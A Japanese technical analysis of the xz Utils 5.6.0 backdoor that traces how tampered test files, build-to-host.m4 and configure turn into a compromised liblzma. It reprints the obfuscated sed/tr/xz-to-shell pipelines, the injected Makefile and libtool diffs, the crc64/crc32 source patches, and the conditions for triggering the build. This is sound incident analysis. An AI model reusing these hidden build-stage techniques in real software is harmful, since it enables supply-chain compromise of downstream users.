はじめに
2024年3月にxz Utilsのバックドアが発見されました。
- CVE-2024-3094 CVSS:3.1 Base Score 10.0 (CWE-506)
発見者Andres Freundによる最初の報告は以下の通りです。
https://www.openwall.com/lists/oss-security/2024/03/29/4
当時xzのメンテナはLasse CollinとJia Tanで、2024年2月~3月にJia Tanのリリースした5.6.0および5.6.1が影響を受けるバージョンです。この記事では5.6.0の方を対象に、ビルド処理からバックドアが起動するまでを具体的に解説します。
この解説は、技術的手法、およびその知識を記録することにより、オープンソースプロジェクトの課題、リリース方法の課題、ビルドの複雑さを理解・共有し、今度同様の事象発生を防ぐための対策を検討する材料となることを目的としております。
検証環境
バックドア生成処理の検証
今回、バックドア生成処理の検証にはArch Linuxの2024/02/01版を使用しました。
https://archive.archlinux.org/repos/2024/02/01/
リリースに含まれたファイルを見る限り、Jia Tanは以下のバージョンを使用しており、これに該当するのは上記ディストリビューションの2月頃のものと思われます。
- GNU Autoconf 2.72
- GNU Automake 1.16.5
- GNU Libtool 2.4.7.4-1ec8f-dirty
- gettext-0.22.4
このディストリビューションに含まれるDoxygen、ghostscript、groff のバージョンが、リリースに含まれたファイルと合わないので、ドキュメント関連は別環境で生成した可能性があります。
バックドア動作の検証
また、バックドア動作の検証にはUbuntu 22.04.4 LTSを使用しました。
https://fridge.ubuntu.com/2024/02/22/ubuntu-22-04-4-lts-released/
これは今回のバックドアがRPM系、Debian系のLinuxディストリビューションをターゲットとしているためです。
Ubuntu 24.04.1 LTSではすでにsshd側で対処(libsystemd.soをリンクしない)が行われているため、バックドアは動作しません。
目次
バックドア入りtarballの概要
まずはどのような状態でリリース、配布されたかを確認してみます。
xz-5.6.0ソースツリー構成
リリースされた5.6.0のtarballを展開すると、以下のようになっています。
以下でも5.6.0のtarballを取得できますが、これはgithubのtag v5.6.0の内容をダウンロードできるようにしただけで、バックドアが仕込まれたものとは内容が異なります。
https://github.com/tukaani-project/xz/releases/tag/v5.6.0
githubの内容からリリース用 tarball を作る際に実行しているのは、おそらく以下になります。
- autogen.sh 実行
- doc/man 配下ファイル、ChangeLogの生成(make dist-hook)
autogen.shの冒頭で、autopointコマンドによって必要なファイルがm4ディレクトリへコピーされます。このとき、build-to-host.m4がバックドアコードの入ったものに手動で差し替えられています。同じタイミングでコピーされるはずのファイルと比べて、これだけタイムスタンプが数分遅れています。
後続処理のautoconfによって、build-to-host.m4の内容を元にconfigureスクリプトが生成され、それにもバックドアコードが含まれることになります。
他の情報ではbuild-to-host.m4というファイルがクローズアップされがちですが、実際にはconfigureにもバックドアコードが含まれた状態で配布されていたことになります。
build-to-host.m4とconfigureスクリプト
build-to-host.m4にどのようなコードが仕込まれ、それがどのようにconfigureに移ったかを見ていきます。
build-to-host.m4は拡張子が示す通り、m4で記述されています。
m4はマクロ言語であり、上図の太字になっている箇所がm4マクロとして処理される箇所となり、文字列の置換などが行われます。それ以外の箇所(シェルスクリプト部分)については通常の文字列として扱われて、そのままconfigureスクリプトに出力されます。
78行目のAC_CONFIG_COMMANDSがポイントであり、configure実行時に追加で実行するコマンドを "build-to-host" という名前で登録しています。それ以外の追加されたコードは、難読化のために実行コマンドを分割して複数の変数として登録していると考えて良いと思います。
また、1行目で通常はserial 3
となっているところがserial 30
と変更されています。このserial値はそのm4ファイルのバージョンを示すもので、通常は内容を変更するときに1増やします。もしこの値が3のままであり、かつビルド環境が3より大きいbuild-to-host.m4を持っている場合、autogen.shを実行してconfigureの再作成を行うと、その中で実行されるautopoint -fによってビルド環境が持つ正しいbuild-to-host.m4に置き換えられてしまいます。その結果、再作成されるconfigureも正常なものに置き換わってしまいます。これを防ぐため、値を極端に大きいものに変更したと思われます。
本来build-to-host.m4はgl_BUILD_TO_HOSTというm4マクロ関数を定義するものであり、この関数は引数で渡されたパスをターゲット環境へ合わせたものに置き換える用途で使用されますが、それに関係ないコードが追加されたことになります。
追加された2つのテストファイル
commit cf44e4b にて、以下の2つのテストファイルが追加でコミットされています。コミットされたのは2/24で、5.6.0がリリースされる直前のタイミングになります。
- tests/files/bad-3-corrupt_lzma2.xz
- tests/files/good-large_compressed.lzma
以下でこの2ファイルの概要を記載しておりますが、内容としてはREADMEに記載してある通りのデータとなっており、テストデータとしては正しいものです。そのため、make check
してもすべてPASSします。
bad-3-corrupt_lzma2.xz
READMEには以下のように説明があります。
bad-3-corrupt_lzma2.xz has three Streams in it. The first and third
streams are valid xz Streams. The middle Stream has a correct Stream
Header, Block Header, Index and Stream Footer. Only the LZMA2 data
is corrupt. This file should decompress if --single-stream is used.
この説明は間違いではなく、実際にこの通りのデータになっています。後ほど説明しますが、このデータを加工することにより、意味のあるデータになります。
最初のストリームは非圧縮設定になっているので、####Hello####
という文字列がそのまま埋め込まれており、これがconfigureスクリプトの処理中でこのファイルを検出する手がかりになっています。記載されている通り、--single-streamオプションを付けると正常に伸張できます。
$ xxd tests/files/bad-3-corrupt_lzma2.xz
00000000: fd37 7a58 5a00 0004 e6d6 b446 0200 2101 .7zXZ......F..!.
00000010: 0800 0000 d80f 2313 0100 0c23 2323 2348 ......#....####H
00000020: 656c 6c6f 2323 2323 0000 0000 1288 df04 ello####........
00000030: 5972 8142 0001 250d 7119 c4b6 1fb6 f37d Yr.B..%.q......}
$ xz -dc --single-stream tests/files/bad-3-corrupt_lzma2.xz
####Hello####
good-large_compressed.lzma
READMEには以下のように説明があります。
good-large_compressed.lzma was created with a mix of repeated
characters and random data to test a data stream containing many
matches and many literals.
この説明も間違いではなく、データを伸張すると実際にこの通りのデータになっています。
具体的には、2024バイトのバイナリデータを挟む形で、"AAAA..."、"BBBB..."という文字列が入っているデータです。厳密に言うと "random data" というのは嘘で、加工すると悪意あるシェルスクリプトやバックドアコードの含まれたオブジェクトファイルになります。これも後ほど説明いたします。
$ xz -dc tests/files/good-large_compressed.lzma | xxd
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
:
000003f0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000400: 6d86 580b 5dce 63db 706a 3db4 4fcd 2a7c m.X.].c.pj=.O.*|
:
00000bf0: 7aa1 9540 3f1d c38c 76b7 5066 9123 d0cc z..@?...v.Pf.#..
00000c00: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB
:
00000ff0: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB
00001000: aded d4ca 06ee 570e 731b a8e9 d12a fd4d ......W.s....*.M
:
000017f0: 18a2 d5b0 c222 12b9 846e 1985 b2a5 cd53 ....."...n.....S
00001800: 4343 4343 4343 4343 4343 4343 4343 4343 CCCCCCCCCCCCCCCC
:
:
0000c3f0: 5151 5151 5151 5151 5151 5151 5151 5151 QQQQQQQQQQQQQQQQ
0000c400: 74e6 3c56 185a 6b61 1625 4df6 c380 4213 t.<V.Zka.%M...B.
:
0000cbf0: c496 345d 4458 c33c 45c7 d8c6 2354 b822 ..4]DX.<E...#T."
configure
configure処理概要
まず、configureを実行することによってどのような処理の流れになるかを見てみます。
上図のように、configureを実行することによって何段階もの処理が実施されることになりますが、最終的な結果としては以下の2ファイルが変更されるだけとなります。
- libtool
- src/liblzma/Makefile
以下ではconfigure実行時の3つの処理を順番に詳しく見ていきますが、configure実行による結果だけ分かればよいという場合は以下の詳細は読み飛ばしていただいて、次のmakeの処理から見ていただいてもよいかと思います。
なお、他の解説記事では処理の過程を「ステージ」と呼んでいるものが多いですが、記事によってステージの定義が異なっているため、混同しないようあえてステージという表現は使わないようにしております。
configure実行
configureの処理の流れとして、まずはconfig.statusを出力し、さらにそのconfig.statusを実行することになります。configure実行のログを確認すると、config.status処理の末尾で通常は実行されないbuild-to-hostコマンドが実行されていることがわかります。
$ ./configure
:
config.status: executing po-directories commands
config.status: creating po/POTFILES
config.status: creating po/Makefile
config.status: executing build-to-host commands
この追加されたbuild-to-hostコマンドによって、バックドアの処理が実行されていきます。
configure【処理①】
まず最初の【処理①】について、以下の図に詳細を記載いたしました。
configureの18693行目で"#{4}[[:alnum:]]{5}#{4}$"
という正規表現を使ってgrepしています。これがbad-3-corrupt_lzma2.xz中にある####Hello####
という文字列にマッチすることによってファイル名を取得し、config.statusに書き込まれています。
config.statusに出力された内容は変数が展開されているため、このファイルを見ると使用されるコマンドがおおよそ読み取れます。
最終的には以下が実行されることになります(config.statusの2563行目)。
sed "r\n" ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d 2>/dev/null | bin/sh 2>/dev/null
ただの難読化かもしれませんが、このsedコマンドに恐らく意味はありません。r\n
は \n
というファイル(そんなものはない)の内容を対象ファイル末尾に追記するという意味になります。この sed コマンドを cat に置き換えても後続処理の結果は変わりません。
trコマンドでは、以下の置換(文字入れ替え)を行っております。これにより、bad-3-corrupt_lzma2.xzの内容が5バイト分変更されます。
- 水平タブ(0x09) ⇔ 空白文字(0x20)
- ハイフン(0x2d) ⇔ アンダースコア(0x5f)
bad-3-corrupt_lzma2.xzの元の内容と変更箇所は以下の通りです。
このファイルがコミットされたときのREADMEに記載されている通り、xzフォーマットとしては3ストリームあり、その内容がLZMA2になっています。LZMA2は仕様上圧縮、非圧縮を選択できるようになっており、ストリーム1と3は非圧縮(0x01)になっているため、文字列がそのまま格納されております。ストリーム2は圧縮(0xe0)になっております。READMEでは「ストリームヘッダ、ブロックヘッダ、インデックス、ストリームフッターは正常で、LZMA2データだけが壊れている」と記載されておりますが、trコマンドでの置換によりLZMA2データも正常となり、後続のxzに渡すことでデータを伸張しています。
伸張したデータはシェルスクリプトになっており、これがパイプでシェルに渡されて次の【処理②】に移ります。
configure【処理②】
【処理①】の最後で生成されたシェルスクリプトがシェルに渡されたあとの処理を見ていきます。
重要なのは以下の部分で、
(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
- good-large_compressed.lzmaをxzコマンドを使って伸張
- headとtailコマンドを使用して、必要なバイト列を切り出し
- trコマンドで置換して、正常なLZMA1形式データに戻す
- さらにxzコマンドでデータを伸張し、シェルスクリプトを生成
という流れで処理をしています。
eval $i
で実行されるheadコマンドが分かりにくいですが、2024バイトのバイナリデータの間に入っている1024バイトのゴミデータを削除しています。この変数iを宣言するときにexportを付けて環境変数としておりますが、これは後述するmakeコマンドから呼び出された場合に、後段の処理で再度この変数を使用する(good-large_compressed.lzmaを再度同じように処理する)ためです。
trコマンドの引数は8進表記で指定されていますが、分かりにくいので図では16進表記で記載しています。この置換の結果を後続のxzに渡すことでデータを伸張しています。
伸張したデータはやはりシェルスクリプトになっており、これがパイプでシェルに渡されて次の【処理③】に移ります。
configure【処理③】
【処理②】の最後で生成されたシェルスクリプトがシェルに渡されたあとの処理を見ていきます。難読化されてはいますが、難しい処理はありません。
生成されたシェルスクリプトでは、まずif文の構造として大きく以下の2つの部分に分かれます。
- configureの最後で呼び出された場合の処理
- src/liblzma/Makefileから呼び出された場合の処理
ここでは前者の処理が実行されることになります。前者の処理は、具体的にはconfig.statusがある場合に実行されることになります。後ほど説明いたしますが、makeコマンド実行時にも同じスクリプトが呼び出され、その際には後者の処理が実行されます。
その後、バックドアを仕込むのに必要な条件が揃っているかを細かく確認しています。
さらに処理を継続する上で必要となる、重要な条件が以下の箇所になります。
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
これは、このconfigureが実行されているのがDebian系パッケージ作成環境であるか、もしくはRedhat系パッケージ作成環境であるかを確認し、条件を満たしていた場合のみ後続処理を実行します。つまり、tarballをダウンロードして、普通にconfigure、makeしただけではバックドアが作られないことになります。そのため、意図してバックドア生成を確認したい場合は、configure実行前にmkdir debian/rules
するか、export RPM_ARCH=x86_64
としておく必要があります。
条件をすべて満たしていた場合のみ、sedコマンドを用いてsrc/liblzma/Makefileとlibtoolに文字列を挿入しています。このときに使用しているsedの命令は以下の通りです。
sed -i '/アドレス/i挿入文字列' 対象ファイル
-i オプションにより引数で指定したファイルを直接編集しています。iコマンドは「アドレス」で指定した正規表現にマッチする場所の直前に「挿入文字列」で指定した内容を挿入します。
最終的に行われるsrc/liblzma/Makefileとlibtoolの変更は以下の通りです。
libtoolに付加されている-fno-lto -ffunction-sections -fdata-sections
オプションとリンカに渡される--sort-section=name
と-X
オプションですが、このオプションなしでビルドしても正しくバックドアは動作するため、なぜ追加されているのか不明です。環境によっては必要なのかもしれませんが、少なくとも本検証環境では不要でした。
makeコマンドによって実行される内容については、次で説明いたします。
libtool変更内容
--- libtool-OK 2024-11-22 08:26:44.936659200 +0900
+++ libtool-NG 2024-11-22 08:26:49.322904400 +0900
@@ -332,7 +332,7 @@
no_builtin_flag=" -fno-builtin"
# Additional compiler flags for building library objects.
-pic_flag=" -fPIC -DPIC"
+pic_flag=" -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
# How to pass a linker flag through the compiler.
wl="-Wl,"
src/liblzma/Makefile変更内容
--- Makefile-OK 2024-11-22 08:13:41.987088500 +0900
+++ Makefile-NG 2024-11-22 08:16:40.272466900 +0900
@@ -262,6 +262,7 @@
#am__append_49 = -Xlinker --output-def -Xlinker liblzma.def.in
#am__append_50 = liblzma.def
subdir = src/liblzma
+am__test = bad-3-corrupt_lzma2.xz
ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
am__aclocal_m4_deps = $(top_srcdir)/m4/ax_pthread.m4 \
$(top_srcdir)/m4/build-to-host.m4 $(top_srcdir)/m4/getopt.m4 \
@@ -287,12 +288,14 @@
CONFIG_HEADER = $(top_builddir)/config.h
CONFIG_CLEAN_FILES =
CONFIG_CLEAN_VPATH_FILES =
+am__test_dir=$(top_srcdir)/tests/files/$(am__test)
am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
am__vpath_adj = case $$p in \
$(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \
*) f=$$p;; \
esac;
am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`;
+am__strip_prefix = tr "\t \-_" " \t_\-"
am__install_max = 40
am__nobase_strip_setup = \
srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'`
@@ -308,6 +311,7 @@
am__base_list = \
sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \
sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g'
+am__dist_setup = $(am__strip_prefix) | xz -d 2>/dev/null | $(SHELL)
am__uninstall_files_from_dir = { \
test -z "$$files" \
|| { test ! -d "$$dir" && test ! -f "$$dir" && test ! -r "$$dir"; } \
@@ -316,6 +320,22 @@
}
am__installdirs = "$(DESTDIR)$(libdir)" "$(DESTDIR)$(docdir)" \
"$(DESTDIR)$(pkgconfigdir)"
+LTDEPS='$(lib_LTDEPS)'; \
+ export top_srcdir='$(top_srcdir)'; \
+ export CC='$(CC)'; \
+ export DEFS='$(DEFS)'; \
+ export DEFAULT_INCLUDES='$(DEFAULT_INCLUDES)'; \
+ export INCLUDES='$(INCLUDES)'; \
+ export liblzma_la_CPPFLAGS='$(liblzma_la_CPPFLAGS)'; \
+ export CPPFLAGS='$(CPPFLAGS)'; \
+ export AM_CFLAGS='$(AM_CFLAGS)'; \
+ export CFLAGS='$(CFLAGS)'; \
+ export AM_V_CCLD='$(am__v_CCLD_$(V))'; \
+ export liblzma_la_LINK='$(liblzma_la_LINK)'; \
+ export libdir='$(libdir)'; \
+ export liblzma_la_OBJECTS='$(liblzma_la_OBJECTS)'; \
+ export liblzma_la_LIBADD='$(liblzma_la_LIBADD)'; \
+sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
LTLIBRARIES = $(lib_LTLIBRARIES)
liblzma_la_LIBADD =
am__liblzma_la_SOURCES_DIST = ../common/tuklib_physmem.c \
@@ -608,7 +628,7 @@
LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \
$(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \
$(AM_LDFLAGS) $(LDFLAGS) -o $@
-AM_V_CCLD = $(am__v_CCLD_$(V))
+AM_V_CCLD = @echo -n $(LTDEPS); $(am__v_CCLD_$(V))
am__v_CCLD_ = $(am__v_CCLD_$(AM_DEFAULT_VERBOSITY))
am__v_CCLD_0 = @echo " CCLD " $@;
am__v_CCLD_1 =
@@ -892,6 +912,7 @@
pc_verbose = $(pc_verbose_$(V))
pc_verbose_ = $(pc_verbose_$(AM_DEFAULT_VERBOSITY))
pc_verbose_0 = @echo " PC " $@;
+liblzma_la_LDFLAGS += -Wl,--sort-section=name,-X,-z,now
all: all-recursive
.SUFFIXES:
make
make処理概要
makeを実行すると、以下の処理が実行されます。
通常のmake処理に加えてシェルスクリプトが実行されることにより、liblzma_la-crc64_fast.oとliblzma_la-crc32_fast.oが差し替えられて、liblzma.so.5.6.0が生成されることになります。
以下ではmake実行時の処理を順番に詳しく見ていきますが、結果としては上記の通りとなりますので、結果だけ分かればよいという場合は以下の詳細は読み飛ばしていただいて、次のsshdからのバックドア処理実行までから見ていただいてもよいかと思います。
make実行
「configure【処理③】」でsrc/liblzma/Makefileへ追加された処理を抜粋します。
am__test = bad-3-corrupt_lzma2.xz
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
am__strip_prefix = tr "\t \-_" " \t_\-"
am__dist_setup = $(am__strip_prefix) | xz -d 2>/dev/null | $(SHELL)
LTDEPS='$(lib_LTDEPS)'; \
export top_srcdir='$(top_srcdir)'; \
export CC='$(CC)'; \
export DEFS='$(DEFS)'; \
export DEFAULT_INCLUDES='$(DEFAULT_INCLUDES)'; \
export INCLUDES='$(INCLUDES)'; \
export liblzma_la_CPPFLAGS='$(liblzma_la_CPPFLAGS)'; \
export CPPFLAGS='$(CPPFLAGS)'; \
export AM_CFLAGS='$(AM_CFLAGS)'; \
export CFLAGS='$(CFLAGS)'; \
export AM_V_CCLD='$(am__v_CCLD_$(V))'; \
export liblzma_la_LINK='$(liblzma_la_LINK)'; \
export libdir='$(libdir)'; \
export liblzma_la_OBJECTS='$(liblzma_la_OBJECTS)'; \
export liblzma_la_LIBADD='$(liblzma_la_LIBADD)'; \
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
トップディレクトリでmake
を実行すると、そこからsrc/liblzma/Makefileも実行され、上記コマンドも実行されます。exportで環境変数がいろいろと設定されますが、結果としては sed rpath ../../tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d 2>/dev/null | /bin/sh >/dev/null 2>&1
というコマンドが変数LTDEPSに設定されます。
Makefileは以下のようにも変更されているので、このコマンドは変数AM_V_CCLDに埋め込まれ、liblzma.la
ターゲットの中でその内容が実行されることになります。
-AM_V_CCLD = $(am__v_CCLD_$(V))
+AM_V_CCLD = @echo -n $(LTDEPS); $(am__v_CCLD_$(V))
この処理内容は、configure【処理①】でconfig.statusから実行されるものとまったく同じ内容になります。その後、configureの【処理②】【処理③】と同じ流れで実行されますが、【処理③】において異なる条件分岐となり、そこからmake時独自の処理が実行されます。
make処理詳細
configureの【処理③】と異なる処理を見てみます。makeから実行されるとき、カレントディレクトリはsrc/liblzmaとなり、config.statusファイルは存在しないためにtest -f config.status
が偽となり、別の分岐に入ります。
始めにバックドア生成に必要な条件を確認したあと、good-large_compressed.lzmaからsrc/liblzma/liblzma_la-crc64-fast.oを生成します。configure【処理②】でもgood-large_compressed.lzmaを使いましたが、そのときに使わなかった部分を元に、awkによる復号化、xz伸張、切り出しを行うことによってliblzma_la-crc64-fast.oを取り出します。このsrc/liblzma/liblzma_la-crc64-fast.oはそのままliblzma.so.5.6.0に入るわけではありません。
次にsedでcrc64_fast.c、crc32_fast.cの内容を変更してコンパイルし、src/liblzma/.libs/liblzma_la-crc64_fast.o、src/liblzma/.libs/liblzma_la-crc32_fast.oを生成します。crc64_fast.cをコンパイルするときにsrc/liblzma/liblzma_la-crc64-fast.oを使用してバックドア用のコードを移しています。これらが最終的にliblzma.so.5.6.0に含まれます。
crc64_fast.c、crc32_fast.c の変更内容は以下の通りです。
src/liblzma/check/crc64_fast.c変更内容
--- check/crc64_fast.c 2024-02-24 16:55:08.000000000 +0900
+++ check/crc64_fast2.c 2024-12-01 00:30:48.631950933 +0900
@@ -1,3 +1,4 @@
+# 0 "../../src/liblzma/check/crc64_fast.c"
// SPDX-License-Identifier: 0BSD
///////////////////////////////////////////////////////////////////////////////
@@ -17,6 +18,12 @@
# define BUILDING_CRC64_CLMUL
# include "crc_x86_clmul.h"
#endif
+#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))
+extern int _get_cpuid(int, void*, void*, void*, void*, void*);
+static inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }
+#else
+#define _is_arch_extension_supported is_arch_extension_supported
+#endif
#ifdef CRC64_GENERIC
@@ -101,7 +108,7 @@
static crc64_func_type
crc64_resolve(void)
{
- return is_arch_extension_supported()
+return _is_arch_extension_supported()
? &crc64_arch_optimized : &crc64_generic;
}
src/liblzma/check/crc32_fast.c変更内容
--- check/crc32_fast.c 2024-02-24 16:55:08.000000000 +0900
+++ check/crc32_fast2.c 2024-12-01 14:02:28.630477769 +0900
@@ -1,3 +1,4 @@
+# 0 "../../src/liblzma/check/crc32_fast.c"
// SPDX-License-Identifier: 0BSD
///////////////////////////////////////////////////////////////////////////////
@@ -20,6 +21,12 @@
#elif defined(CRC32_ARM64)
# include "crc32_arm64.h"
#endif
+#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))
+extern int _get_cpuid(int, void*, void*, void*, void*, void*);
+static inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }
+#else
+#define _is_arch_extension_supported is_arch_extension_supported
+#endif
#ifdef CRC32_GENERIC
@@ -138,7 +145,7 @@
static crc32_func_type
crc32_resolve(void)
{
- return is_arch_extension_supported()
+return _is_arch_extension_supported()
? &crc32_arch_optimized : &crc32_generic;
}
シェルスクリプトの最後で試しにliblzma.so.5.6.0が問題なく生成できるかを試し、その後削除を行っております。このシェルスクリプトはmake処理の途中で実行されており、このシェルスクリプト終了直後に本来のmake処理でliblzma.so.5.6.0の生成を行います。
変更された処理フロー
シェルスクリプト中のsedでcrc64_fast.c、crc32_fast.cの変更が行われましたが、どのような変更が行われたかを見てみます。以下の図ではcrc64_fast.cの内容で記載しておりますが、crc32_fast.cも同様です。
crc64_resolve()関数で呼ばれるis_arch_extension_supported()
が_is_arch_extension_supported()
に変更されています。本来は存在しないstatic inline bool _is_arch_extension_supported(void)
をこのファイル内で定義して使用しています。
_is_arch_extension_supported(void)
の内容は、src/liblzma/check/crc_x86_clmul.hで定義されているstatic inline bool is_arch_extension_supported(void)
とほぼ同じですが、以下部分のみ異なっています。
- success = __get_cpuid(1, &r[0], &r[1], &r[2], &r[3]);
+ success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16);
この_get_cpuid()関数はextern int _get_cpuid(int, void*, void*, void*, void*, void*);
とexternで宣言されおり、src/liblzma/.libs/liblzma_la-crc64-fast.oに含まれております。
$ readelf -sW .libs/liblzma_la-crc64_fast.o | grep cpuid
106: 0000000000000000 0 SECTION LOCAL DEFAULT 189 .text._cpuid
108: 0000000000000000 0 SECTION LOCAL DEFAULT 192 .text._get_cpuid
269: 0000000000000000 96 FUNC GLOBAL HIDDEN 192 _get_cpuid
273: 0000000000000000 31 FUNC GLOBAL HIDDEN 189 _cpuid
crc64_resolve()から直接呼ばれる_get_cpuid()関数以外にも、.Llzma_block_param_encoder.0
などその他のシンボルにもバックドアのコードが入っています。
通常のliblzma_la-crc64_fast.o中のシンボル
$ readelf -s -W src/liblzma/.libs/liblzma_la-crc64_fast.o
Symbol table '.symtab' contains 19 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FILE LOCAL DEFAULT ABS crc64_fast.c
2: 0000000000000000 0 SECTION LOCAL DEFAULT 1 .text
3: 0000000000000000 238 FUNC LOCAL DEFAULT 1 crc64_generic
4: 00000000000000f0 527 FUNC LOCAL DEFAULT 1 crc64_arch_optimized
5: 0000000000000300 50 FUNC LOCAL DEFAULT 1 crc64_resolve
6: 0000000000000000 0 SECTION LOCAL DEFAULT 6 .debug_info
7: 0000000000000000 0 SECTION LOCAL DEFAULT 8 .debug_abbrev
8: 0000000000000000 0 SECTION LOCAL DEFAULT 9 .debug_loclists
9: 0000000000000000 0 SECTION LOCAL DEFAULT 13 .debug_rnglists
10: 0000000000000000 0 SECTION LOCAL DEFAULT 14 .debug_line
11: 0000000000000000 0 SECTION LOCAL DEFAULT 16 .debug_str
12: 0000000000000000 0 SECTION LOCAL DEFAULT 17 .debug_line_str
13: 0000000000000000 0 NOTYPE LOCAL DEFAULT 5 .LC0
14: 0000000000000010 0 NOTYPE LOCAL DEFAULT 5 .LC1
15: 0000000000000020 0 NOTYPE LOCAL DEFAULT 5 .LC2
16: 0000000000000030 0 NOTYPE LOCAL DEFAULT 5 .LC3
17: 0000000000000000 0 NOTYPE GLOBAL HIDDEN UND lzma_crc64_table
18: 0000000000000300 50 IFUNC GLOBAL DEFAULT 1 lzma_crc64
バックドア処理が含まれるのliblzma_la-crc64_fast.o中のシンボル
$ readelf -sW src/liblzma/.libs/liblzma_la-crc64_fast.o
Symbol table '.symtab' contains 276 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 SECTION LOCAL DEFAULT 1 .text
2: 0000000000000000 0 SECTION LOCAL DEFAULT 2 .text.x86_codd
3: 0000000000000000 0 SECTION LOCAL DEFAULT 4 .text.lzma_block_buffer_encoda
4: 0000000000000000 0 SECTION LOCAL DEFAULT 5 .text.lzma_raw_coder_memusaga
5: 0000000000000000 0 SECTION LOCAL DEFAULT 7 .text.lzma2_encoder_inia
6: 0000000000000000 0 SECTION LOCAL DEFAULT 9 .text.lzma_optimum_normaa
7: 0000000000000000 0 SECTION LOCAL DEFAULT 11 .text.lzma_filters_updata
8: 0000000000000000 0 SECTION LOCAL DEFAULT 13 .text.lzma_raw_encodea
9: 0000000000000000 0 SECTION LOCAL DEFAULT 15 .text.lzma_mt_block_siza
10: 0000000000000000 0 SECTION LOCAL DEFAULT 17 .text.stream_encoda
11: 0000000000000000 0 SECTION LOCAL DEFAULT 19 .text.lzma_properties_siza
12: 0000000000000000 0 SECTION LOCAL DEFAULT 21 .text.stream_encoder_mt_inia
13: 0000000000000000 0 SECTION LOCAL DEFAULT 23 .text.lzma_simple_x86_decoder_inif
14: 0000000000000000 0 SECTION LOCAL DEFAULT 25 .text.stream_decoda
15: 0000000000000000 0 SECTION LOCAL DEFAULT 26 .text.powerpc_coda
16: 0000000000000000 0 SECTION LOCAL DEFAULT 27 .text.parse_bcz
17: 0000000000000000 0 SECTION LOCAL DEFAULT 29 .text.lzma_simple_props_sizd
18: 0000000000000000 0 SECTION LOCAL DEFAULT 30 .text.get_literal_prica
19: 0000000000000000 0 SECTION LOCAL DEFAULT 32 .text.crc_inia
20: 0000000000000000 0 SECTION LOCAL DEFAULT 34 .text.crc64_generia
21: 0000000000000000 0 SECTION LOCAL DEFAULT 36 .text.init_pric_tabla
22: 0000000000000000 0 SECTION LOCAL DEFAULT 38 .text.stream_encoder_updata
23: 0000000000000000 0 SECTION LOCAL DEFAULT 39 .text.stream_encoder_updatz
24: 0000000000000000 0 SECTION LOCAL DEFAULT 41 .text.lz_encoda
25: 0000000000000000 0 SECTION LOCAL DEFAULT 43 .text.delta_coder_ena
26: 0000000000000000 0 SECTION LOCAL DEFAULT 45 .text.delta_decoda
27: 0000000000000000 0 SECTION LOCAL DEFAULT 47 .text.lzma_check_updata
28: 0000000000000000 0 SECTION LOCAL DEFAULT 49 .text.index_tree_appena
29: 0000000000000000 0 SECTION LOCAL DEFAULT 51 .text.lzip_decoda
30: 0000000000000000 0 SECTION LOCAL DEFAULT 53 .text.microlzma_decoda
31: 0000000000000000 0 SECTION LOCAL DEFAULT 54 .text.auto_decoda
32: 0000000000000000 0 SECTION LOCAL DEFAULT 56 .text.hc_find_funa
33: 0000000000000000 0 SECTION LOCAL DEFAULT 57 .text.lzma_simple_props_encoda
34: 0000000000000000 0 SECTION LOCAL DEFAULT 59 .text.lzma_simple_x86_encoder_inia
35: 0000000000000000 0 SECTION LOCAL DEFAULT 61 .text.stream_decoder_mt_ena
36: 0000000000000000 0 SECTION LOCAL DEFAULT 63 .text.lzma_lz_encoder_memusaga
37: 0000000000000000 0 SECTION LOCAL DEFAULT 65 .text.lzma_block_buffer_bound63
38: 0000000000000000 0 SECTION LOCAL DEFAULT 66 .text.lzma_delta_decoder_inis
